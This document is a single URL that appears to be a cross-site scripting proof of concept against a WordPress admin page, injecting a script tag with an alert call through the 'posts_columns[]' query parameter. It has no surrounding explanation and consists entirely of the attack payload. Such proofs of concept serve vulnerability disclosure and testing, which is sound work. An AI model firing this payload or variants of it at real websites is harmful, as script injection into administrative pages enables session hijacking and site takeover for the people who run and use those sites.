http://www.example.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script>